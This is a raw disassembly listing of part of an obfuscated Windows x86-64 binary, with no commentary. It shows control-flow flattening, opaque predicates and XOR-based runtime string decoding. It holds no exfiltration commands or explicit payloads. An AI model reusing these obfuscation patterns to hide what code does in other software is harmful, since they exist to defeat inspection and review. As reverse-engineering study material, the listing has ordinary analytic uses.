lea edi, [r11 + 1]
imul edi, r11d
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete r11b
cmp esi, 0xa
setl r14b
xor r14b, r11b
mov r14d, 0x2c69d576
cmovne r14d, r10d
cmp edi, 0xffffffff
mov r11d, r14d
cmove r11d, r10d
cmp esi, 0xa
cmovge r11d, r14d
jmp 0x14001dcb2
cmp r11d, 0xb94b4497
je 0x14001de43
cmp r11d, 0xbaec221f
jne 0x14001dcb2
mov r11d, 0xc299b04e
jmp 0x14001dcb2
cmp r11d, 0x2c69d576
jne 0x14001ea86
mov r11, qword [rbp + 0x168]
mov r11d, 0x815c4565
jmp 0x14001dcb2
mov r11d, dword [0x1402b5d38]
mov esi, dword [0x1402b5d3c]
lea edi, [r11 + 1]
imul edi, r11d
mov r11d, edi
xor r11d, 0xfffffffe
test r11d, edi
sete r14b
cmp esi, 0xa
setl r15b
xor r15b, r14b
mov r14d, 0x2c69d576
cmovne r14d, ecx
test r11d, edi
mov r11d, r14d
cmove r11d, ecx
cmp esi, 0xa
mov rsi, qword [rbp + 0x168]
movzx esi, byte [rsi]
mov byte [rbp + 0x208], sil
cmovge r11d, r14d
jmp 0x14001dcb2
mov rsi, qword [rbp + 0x188]
mov r11, qword [rbp + 0x1e0]
movzx edi, byte [rbp + 0x208]
mov qword [rbp + 0x170], rsi
mov rsi, qword [rbp + 0x170]
movsx rdi, byte [r11]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x14001de84
cmp r14d, 0x9c1cbcd3
jne 0x14001de70
jmp 0x14001de8c
mov r14d, 0x9c1cbcd3
jmp 0x14001de70
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 0
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
xor r14d, edi
mov byte [rsi], r14b
inc rsi
mov qword [rbp + 0x178], rsi
movsx rsi, byte [r11 + 1]
mov edi, 0xd63df95
nop dword [rax]
cmp edi, 0xd63df95
je 0x14001dee2
cmp edi, 0x9c1cbcd3
jne 0x14001ded0
jmp 0x14001dee9
mov edi, 0x9c1cbcd3
jmp 0x14001ded0
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x190], 1
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x200]
mov r14d, esi
xor r14d, esi
not r14d
and r14d, edi
xor r14d, esi
mov byte [rbp + 0x110], r14b
mov esi, 0xc9d7c9c
jmp 0x14001df70
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 5
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
xor r14d, edi
mov byte [rsi + 4], r14b
add rsi, 5
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x1d0], r11
mov esi, 0x5c8dfe9b
nop word [rax + rax]
cmp esi, 0x5c8dfe9b
je 0x14001e0ef
cmp esi, 0xc9d7c9c
jne 0x14001df70
mov rsi, qword [rbp + 0x178]
movzx edi, byte [rbp + 0x110]
mov byte [rsi], dil
mov rsi, qword [rbp + 0x178]
movsx rdi, byte [r11 + 2]
mov r14d, 0xd63df95
nop word [rax + rax]
cmp r14d, 0xd63df95
je 0x14001dfc4
cmp r14d, 0x9c1cbcd3
jne 0x14001dfb0
jmp 0x14001dfcc
mov r14d, 0x9c1cbcd3
jmp 0x14001dfb0
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 2
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rsi + 1], r15b
movsx rdi, byte [r11 + 3]
mov r14d, 0xd63df95
nop dword [rax]
cmp r14d, 0xd63df95
je 0x14001e024
cmp r14d, 0x9c1cbcd3
jne 0x14001e010
jmp 0x14001e02c
mov r14d, 0x9c1cbcd3
jmp 0x14001e010
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 3
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rsi + 2], r15b
movsx rdi, byte [r11 + 4]
mov r14d, 0xd63df95
nop dword [rax]
cmp r14d, 0xd63df95
je 0x14001e084
cmp r14d, 0x9c1cbcd3
jne 0x14001e070
jmp 0x14001e08c
mov r14d, 0x9c1cbcd3
jmp 0x14001e070
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 4
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
xor r14d, edi
mov byte [rsi + 3], r14b
movsx rdi, byte [r11 + 5]
mov r14d, 0xd63df95
nop word cs:[rax + rax]
cmp r14d, 0xd63df95
je 0x14001e0e7
cmp r14d, 0x9c1cbcd3
jne 0x14001e0d0
jmp 0x14001df29
mov r14d, 0x9c1cbcd3
jmp 0x14001e0d0
mov rsi, qword [rbp + 0x1d0]
movsx rsi, byte [rsi + 6]
mov edi, 0xd63df95
cmp edi, 0xd63df95
je 0x14001e112
cmp edi, 0x9c1cbcd3
jne 0x14001e100
jmp 0x14001e119
mov edi, 0x9c1cbcd3
jmp 0x14001e100
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x190], 6
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x200]
mov r14d, esi
xor r14d, esi
not r14d
and r14d, edi
xor r14d, esi
mov rsi, qword [rbp + 0x180]
mov byte [rsi], r14b
mov rsi, qword [rbp + 0x180]
movsx rdi, byte [r11 + 7]
mov r14d, 0xd63df95
nop word [rax + rax]
cmp r14d, 0xd63df95
je 0x14001e184
cmp r14d, 0x9c1cbcd3
jne 0x14001e170
jmp 0x14001e18c
mov r14d, 0x9c1cbcd3
jmp 0x14001e170
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 7
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rsi + 1], r15b
movsx rdi, byte [r11 + 8]
mov r14d, 0xd63df95
nop dword [rax]
cmp r14d, 0xd63df95
je 0x14001e1e4
cmp r14d, 0x9c1cbcd3
jne 0x14001e1d0
jmp 0x14001e1ec
mov r14d, 0x9c1cbcd3
jmp 0x14001e1d0
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 8
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
xor r14d, edi
mov byte [rsi + 2], r14b
movsx rdi, byte [r11 + 9]
mov r14d, 0xd63df95
nop word cs:[rax + rax]
cmp r14d, 0xd63df95
je 0x14001e244
cmp r14d, 0x9c1cbcd3
jne 0x14001e230
jmp 0x14001e24c
mov r14d, 0x9c1cbcd3
jmp 0x14001e230
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 9
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
xor r14d, edi
mov byte [rsi + 3], r14b
movsx rdi, byte [r11 + 0xa]
mov r14d, 0xd63df95
nop word cs:[rax + rax]
cmp r14d, 0xd63df95
je 0x14001e2a4
cmp r14d, 0x9c1cbcd3
jne 0x14001e290
jmp 0x14001e2ac
mov r14d, 0x9c1cbcd3
jmp 0x14001e290
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 0xa
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rsi + 4], r15b
movsx rdi, byte [r11 + 0xb]
mov r14d, 0xd63df95
nop dword [rax]
cmp r14d, 0xd63df95
je 0x14001e304
cmp r14d, 0x9c1cbcd3
jne 0x14001e2f0
jmp 0x14001e30c
mov r14d, 0x9c1cbcd3
jmp 0x14001e2f0
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], select
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
xor r14d, edi
mov byte [rsi + 5], r14b
movsx rdi, byte [r11 + 0xc]
mov r14d, 0xd63df95
nop word cs:[rax + rax]
cmp r14d, 0xd63df95
je 0x14001e364
cmp r14d, 0x9c1cbcd3
jne 0x14001e350
jmp 0x14001e36c
mov r14d, 0x9c1cbcd3
jmp 0x14001e350
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], select
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
xor r14d, edi
mov byte [rsi + 6], r14b
movsx rdi, byte [r11 + 0xd]
mov r14d, 0xd63df95
nop word cs:[rax + rax]
cmp r14d, 0xd63df95
je 0x14001e3c4
cmp r14d, 0x9c1cbcd3
jne 0x14001e3b0
jmp 0x14001e3cc
mov r14d, 0x9c1cbcd3
jmp 0x14001e3b0
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], reloc.WS2_32.dll_listen
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
xor r14d, edi
mov byte [rsi + 7], r14b
movsx r11, byte [r11 + 0xe]
mov edi, 0xd63df95
cmp edi, 0xd63df95
je 0x14001e412
cmp edi, 0x9c1cbcd3
jne 0x14001e400
jmp 0x14001e419
mov edi, 0x9c1cbcd3
jmp 0x14001e400
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x190], reloc.WS2_32.dll_ntohl
mov r11, qword [rbp + 0x190]
add r11d, 0xb
mov rdi, qword [rbp + 0x200]
mov r14d, r11d
xor r14d, r11d
not r14d
and r14d, edi
xor r14d, r11d
mov byte [rsi + 8], r14b
mov byte [rsi + 9], 0
mov r11, qword [rbp + 0x170]
mov byte [r11 + 0x10], 1
mov r11, qword [rbp + 0x170]
mov r11d, 0x91277cb8
jmp 0x14001dcb2
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 0
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
xor r14d, edi
mov byte [rsi], r14b
inc rsi
mov qword [rbp + 0x178], rsi
movsx rsi, byte [r11 + 1]
mov edi, 0xd63df95
nop
cmp edi, 0xd63df95
je 0x14001e4c2
cmp edi, 0x9c1cbcd3
jne 0x14001e4b0
jmp 0x14001e4c9
mov edi, 0x9c1cbcd3
jmp 0x14001e4b0
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x190], 1
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x200]
xor edi, esi
mov byte [rbp + 0x110], dil
mov esi, 0xc9d7c9c
jmp 0x14001e550
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 5
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rsi + 4], r15b
add rsi, 5
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x1d0], r11
mov esi, 0x5c8dfe9b
nop dword [rax]
cmp esi, 0x5c8dfe9b
je 0x14001e6cf
cmp esi, 0xc9d7c9c
jne 0x14001e550
mov rsi, qword [rbp + 0x178]
movzx edi, byte [rbp + 0x110]
mov byte [rsi], dil
mov rsi, qword [rbp + 0x178]
movsx rdi, byte [r11 + 2]
mov r14d, 0xd63df95
nop word [rax + rax]
cmp r14d, 0xd63df95
je 0x14001e5a4
cmp r14d, 0x9c1cbcd3
jne 0x14001e590
jmp 0x14001e5ac
mov r14d, 0x9c1cbcd3
jmp 0x14001e590
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 2
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rsi + 1], r15b
movsx rdi, byte [r11 + 3]
mov r14d, 0xd63df95
nop dword [rax]
cmp r14d, 0xd63df95
je 0x14001e604
cmp r14d, 0x9c1cbcd3
jne 0x14001e5f0
jmp 0x14001e60c
mov r14d, 0x9c1cbcd3
jmp 0x14001e5f0
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 3
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
xor r14d, edi
mov byte [rsi + 2], r14b
movsx rdi, byte [r11 + 4]
mov r14d, 0xd63df95
nop word cs:[rax + rax]
cmp r14d, 0xd63df95
je 0x14001e664
cmp r14d, 0x9c1cbcd3
jne 0x14001e650
jmp 0x14001e66c
mov r14d, 0x9c1cbcd3
jmp 0x14001e650
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 4
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
xor r14d, edi
mov byte [rsi + 3], r14b
movsx rdi, byte [r11 + 5]
mov r14d, 0xd63df95
nop word cs:[rax + rax]
cmp r14d, 0xd63df95
je 0x14001e6c7
cmp r14d, 0x9c1cbcd3
jne 0x14001e6b0
jmp 0x14001e4fc
mov r14d, 0x9c1cbcd3
jmp 0x14001e6b0
mov rsi, qword [rbp + 0x1d0]
movsx rsi, byte [rsi + 6]
mov edi, 0xd63df95
cmp edi, 0xd63df95
je 0x14001e6f2
cmp edi, 0x9c1cbcd3
jne 0x14001e6e0
jmp 0x14001e6f9
mov edi, 0x9c1cbcd3
jmp 0x14001e6e0
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x190], 6
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x200]
xor edi, esi
mov rsi, qword [rbp + 0x180]
mov byte [rsi], dil
mov rsi, qword [rbp + 0x180]
movsx rdi, byte [r11 + 7]
mov r14d, 0xd63df95
nop word [rax + rax]
cmp r14d, 0xd63df95
je 0x14001e754
cmp r14d, 0x9c1cbcd3
jne 0x14001e740
jmp 0x14001e75c
mov r14d, 0x9c1cbcd3
jmp 0x14001e740
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 7
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rsi + 1], r15b
movsx rdi, byte [r11 + 8]
mov r14d, 0xd63df95
nop dword [rax]
cmp r14d, 0xd63df95
je 0x14001e7b4
cmp r14d, 0x9c1cbcd3
jne 0x14001e7a0
jmp 0x14001e7bc
mov r14d, 0x9c1cbcd3
jmp 0x14001e7a0
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 8
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rsi + 2], r15b
movsx rdi, byte [r11 + 9]
mov r14d, 0xd63df95
nop dword [rax]
cmp r14d, 0xd63df95
je 0x14001e814
cmp r14d, 0x9c1cbcd3
jne 0x14001e800
jmp 0x14001e81c
mov r14d, 0x9c1cbcd3
jmp 0x14001e800
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 9
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rsi + 3], r15b
movsx rdi, byte [r11 + 0xa]
mov r14d, 0xd63df95
nop dword [rax]
cmp r14d, 0xd63df95
je 0x14001e874
cmp r14d, 0x9c1cbcd3
jne 0x14001e860
jmp 0x14001e87c
mov r14d, 0x9c1cbcd3
jmp 0x14001e860
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], 0xa
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
xor r14d, edi
mov byte [rsi + 4], r14b
movsx rdi, byte [r11 + 0xb]
mov r14d, 0xd63df95
nop word cs:[rax + rax]
cmp r14d, 0xd63df95
je 0x14001e8d4
cmp r14d, 0x9c1cbcd3
jne 0x14001e8c0
jmp 0x14001e8dc
mov r14d, 0x9c1cbcd3
jmp 0x14001e8c0
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], select
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rsi + 5], r15b
movsx rdi, byte [r11 + 0xc]
mov r14d, 0xd63df95
nop dword [rax]
cmp r14d, 0xd63df95
je 0x14001e934
cmp r14d, 0x9c1cbcd3
jne 0x14001e920
jmp 0x14001e93c
mov r14d, 0x9c1cbcd3
jmp 0x14001e920
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], select
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rsi + 6], r15b
movsx rdi, byte [r11 + 0xd]
mov r14d, 0xd63df95
nop dword [rax]
cmp r14d, 0xd63df95
je 0x14001e994
cmp r14d, 0x9c1cbcd3
jne 0x14001e980
jmp 0x14001e99c
mov r14d, 0x9c1cbcd3
jmp 0x14001e980
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x190], reloc.WS2_32.dll_listen
mov rdi, qword [rbp + 0x190]
add edi, 0xb
mov r14, qword [rbp + 0x200]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rsi + 7], r15b
movsx r11, byte [r11 + 0xe]
mov edi, 0xd63df95
nop dword [rax]
cmp edi, 0xd63df95
je 0x14001e9f2
cmp edi, 0x9c1cbcd3
jne 0x14001e9e0
jmp 0x14001e9f9
mov edi, 0x9c1cbcd3
jmp 0x14001e9e0
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x190], reloc.WS2_32.dll_ntohl
mov r11, qword [rbp + 0x190]
add r11d, 0xb
mov rdi, qword [rbp + 0x200]
xor edi, r11d
mov byte [rsi + 8], dil
mov byte [rsi + 9], 0
mov r11, qword [rbp + 0x170]
mov byte [r11 + 0x10], 1
mov r11d, dword [0x1402b5d38]
mov esi, dword [0x1402b5d3c]
lea edi, [r11 + 1]
imul edi, r11d
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete r11b
cmp esi, 0xa
setl r14b
xor r14b, r11b
mov r14d, 0xb94b4497
cmovne r14d, edx
cmp edi, 0xffffffff
mov r11d, r14d
cmove r11d, edx
cmp esi, 0xa
mov rsi, qword [rbp + 0x170]
cmovge r11d, r14d
jmp 0x14001dcb2
cmp r11d, 0x2df5b3fe
jne 0x14001dcb2
mov rcx, qword [rbp + 0x188]
mov edx, dword [0x1402b5ca8]
lea ecx, [rdx + 1]
imul ecx, edx
test cl, 1
sete r8b
cmp dword [0x1402b5cac], 0xa
setge dl
setl r9b
xor r9b, r8b
jne 0x14001ead2
or dl, cl
test dl, 1
je 0x14001ead2
nop word [rax + rax]
jmp 0x14001ead0
sub rsp, 0x20
lea rdx, [rbp + 0x1e8]
mov rcx, rax
call fcn.140028b30
add rsp, 0x20
mov r15, rax
mov ecx, dword [0x1402b5ca8]
lea eax, [rcx + 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x1402b5cac], 0xa
setge cl
setl r8b
xor r8b, dl
jne 0x14001eb22
or cl, al
test cl, 1
je 0x14001eb22
nop word [rax + rax]
jmp 0x14001eb20
sub rsp, 0x20
lea rcx, [rbp + 0x190]
call fcn.14000b690
add rsp, 0x20
sub rsp, 0x20
lea r14, [rbp + 0x190]
mov rcx, r14
call fcn.14000cf50
add rsp, 0x20
sub rsp, 0x20
mov rcx, r15
mov rdx, rax
call fcn.140002110
add rsp, 0x20
mov eax, 0x8e514f33
mov esi, 0x559d78c6
mov edi, 0xb5ee369a
mov r15d, 0xa1dae94d
jmp 0x14001eb7c
mov eax, 0xe9738f9d
cmp eax, 0xe9738f9d
je 0x14001ecca
cmp eax, 0x8e514f33
jne 0x14001eb7c
sub rsp, 0x20
mov rcx, r14
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x180]
cmp ecx, 0xa
setl byte [rbp + 0x1d0]
mov eax, 0xc7dc8da9
cmp eax, 0x354e3b8b
jg 0x14001ec16
cmp eax, 0xa1dae94d
je 0x14001ec52
cmp eax, 0xb5ee369a
je 0x14001ec73
cmp eax, 0xc7dc8da9
jne 0x14001ebce
movzx ecx, byte [rbp + 0x180]
movzx eax, byte [rbp + 0x1d0]
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xb5ee369a
cmovne eax, esi
test cl, cl
cmove eax, edi
test dl, dl
cmovne eax, esi
jmp 0x14001ebce
cmp eax, 0x354e3b8c
je 0x14001eb77
cmp eax, 0x559d78c6
je 0x14001ec7d
cmp eax, 0x66202512
jne 0x14001ebce
mov eax, 0x51eaacfe
mov rcx, qword [rbp + 0x200]
cmp eax, 0x51eaacfe
je 0x14001ec4b
cmp eax, 0x89bfb55a
jne 0x14001ec3b
jmp 0x14001ec5c
mov eax, 0x89bfb55a
jmp 0x14001ec3b
mov eax, 0x66202512
jmp 0x14001ebce
sub rsp, 0x20
call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
jmp 0x14001ebce
mov eax, 0x559d78c6
jmp 0x14001ebce
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r8d, 0xb5ee369a
cmovne r8d, r15d
test eax, edx
mov eax, r8d
cmove eax, r15d
cmp ecx, 0xa
mov qword [rbp + 0x200], r14
cmovge eax, r8d
jmp 0x14001ebce
mov ecx, dword [0x1402b5ca8]
lea eax, [rcx + 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x1402b5cac], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x14001ecf9
or cl, al
test cl, 1
jne 0x14001ee90
mov eax, 0x8e514f33
mov esi, 0x559d78c6
mov edi, 0xb5ee369a
mov r14d, 0xa1dae94d
cmp eax, 0xe9738f9d
je 0x14001ee58
cmp eax, 0x8e514f33
jne 0x14001ed0e
sub rsp, 0x20
mov rcx, rbx
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x200]
cmp ecx, 0xa
setl byte [rbp + 0x1e8]
mov eax, 0xc7dc8da9
cmp eax, 0x354e3b8b
jg 0x14001eda8
cmp eax, 0xa1dae94d
je 0x14001ede4
cmp eax, 0xb5ee369a
je 0x14001ee05
cmp eax, 0xc7dc8da9
jne 0x14001ed60
movzx ecx, byte [rbp + 0x200]
movzx eax, byte [rbp + 0x1e8]
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xb5ee369a
cmovne eax, esi
test cl, cl
cmove eax, edi
test dl, dl
cmovne eax, esi
jmp 0x14001ed60
cmp eax, 0x354e3b8c
je 0x14001ee4e
cmp eax, 0x559d78c6
je 0x14001ee0f
cmp eax, 0x66202512
jne 0x14001ed60
mov eax, 0x51eaacfe
mov rcx, qword [rbp + 0x190]
cmp eax, 0x51eaacfe
je 0x14001eddd
cmp eax, 0x89bfb55a
jne 0x14001edcd
jmp 0x14001edee
mov eax, 0x89bfb55a
jmp 0x14001edcd
mov eax, 0x66202512
jmp 0x14001ed60
sub rsp, 0x20
call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
jmp 0x14001ed60
mov eax, 0x559d78c6
jmp 0x14001ed60
mov qword [rbp + 0x190], rbx
mov eax, dword [0x1402b5af0]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xb5ee369a
cmove eax, r14d
cmp dword [0x1402b5af4], 0xa
cmovge eax, edi
setl dl
xor dl, cl
cmovne eax, r14d
jmp 0x14001ed60
mov eax, 0xe9738f9d
jmp 0x14001ed0e
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
sete dl
cmp dword [0x1402b5cac], 0xa
setge cl
setl r8b
xor r8b, dl
jne 0x14001eff9
or cl, al
je 0x14001eff9
mov eax, 0x8e514f33
mov esi, 0x559d78c6
mov edi, 0xb5ee369a
mov r14d, 0xa1dae94d
jmp 0x14001eeac
mov eax, 0xe9738f9d
cmp eax, 0xe9738f9d
je 0x14001ecf9
cmp eax, 0x8e514f33
jne 0x14001eeac
sub rsp, 0x20
mov rcx, rbx
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x200]
cmp ecx, 0xa
setl byte [rbp + 0x1e8]
mov eax, 0xc7dc8da9
cmp eax, 0x354e3b8b
jg 0x14001ef45
cmp eax, 0xa1dae94d
je 0x14001ef81
cmp eax, 0xb5ee369a
je 0x14001efa2
cmp eax, 0xc7dc8da9
jne 0x14001eefd
movzx ecx, byte [rbp + 0x200]
movzx eax, byte [rbp + 0x1e8]
mov edx, ecx
xor dl, al
test al, al
mov eax, 0xb5ee369a
cmovne eax, esi
test cl, cl
cmove eax, edi
test dl, dl
cmovne eax, esi
jmp 0x14001eefd
cmp eax, 0x354e3b8c
je 0x14001eea7
cmp eax, 0x559d78c6
je 0x14001efac
cmp eax, 0x66202512
jne 0x14001eefd
mov eax, 0x51eaacfe
mov rcx, qword [rbp + 0x190]
cmp eax, 0x51eaacfe
je 0x14001ef7a
cmp eax, 0x89bfb55a
jne 0x14001ef6a
jmp 0x14001ef8b
mov eax, 0x89bfb55a
jmp 0x14001ef6a
mov eax, 0x66202512
jmp 0x14001eefd
sub rsp, 0x20
call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
jmp 0x14001eefd
mov eax, 0x559d78c6
jmp 0x14001eefd
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r8d, 0xb5ee369a
cmovne r8d, r14d
test eax, edx
mov eax, r8d
cmove eax, r14d
cmp ecx, 0xa
mov qword [rbp + 0x190], rbx
cmovge eax, r8d
jmp 0x14001eefd
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400285e0
add rsp, 0x20
lea r14, [rbp + 0x138]
sub rsp, 0x20
lea rdx, [0x14029c05a]
mov rcx, rax
call fcn.140002110
add rsp, 0x20
mov eax, 0x8e514f33
mov esi, 0x559d78c6
mov edi, 0xb5ee369a
mov ebx, 0xa1dae94d
jmp 0x14001f046
mov eax, 0xe9738f9d
cmp eax, 0xe9738f9d
je 0x14001f18b
cmp eax, 0x8e514f33
jne 0x14001f046
sub rsp, 0x20
mov rcx, r14
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x1e8]
cmp ecx, 0xa
setl byte [rbp + 0x190]
mov eax, 0xc7dc8da9
cmp eax, 0x354e3b8b
jg 0x14001f0e0
cmp eax, 0xa1dae94d
je 0x14001f11c
cmp eax, 0xb5ee369a
je 0x14001f144
cmp eax, 0xc7dc8da9
jne 0x14001f098
movzx ecx, byte [rbp + 0x1e8]
movzx eax, byte [rbp + 0x190]
mov edx, ecx
xor dl, al
mov edx, 0xb5ee369a
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, esi
test cl, cl
cmove eax, edx
jmp 0x14001f098
cmp eax, 0x354e3b8c
je 0x14001f041
cmp eax, 0x559d78c6
je 0x14001f14e
cmp eax, 0x66202512
jne 0x14001f098
mov eax, 0x51eaacfe
mov rcx, qword [rbp + 0x1b0]
cmp eax, 0x51eaacfe
je 0x14001f115
cmp eax, 0x89bfb55a
jne 0x14001f105
jmp 0x14001f126
mov eax, 0x89bfb55a
jmp 0x14001f105
mov eax, 0x66202512
jmp 0x14001f098
sub rsp, 0x20
call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
lea r14, [rbp + 0x138]
jmp 0x14001f098
mov eax, 0x559d78c6
jmp 0x14001f098
mov qword [rbp + 0x1b0], r14
mov eax, dword [0x1402b5af0]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xb5ee369a
cmove eax, ebx
cmp dword [0x1402b5af4], 0xa
cmovge eax, edi
setl dl
xor dl, cl
cmovne eax, ebx
jmp 0x14001f098
mov dil, 1
movzx r12d, byte [rbp + 0x120]
mov eax, 0xda41d2af
lea rbx, [rbp + 0xb0]
mov rsi, qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::ios_base::destructor_void____ptr64]
nop dword [rax]
cmp eax, 0x553dae6
je 0x14001f1da
cmp eax, 0xda41d2af
jne 0x14001f1b0
sub rsp, 0x20
mov rcx, rbx
call fcn.1400c2f90
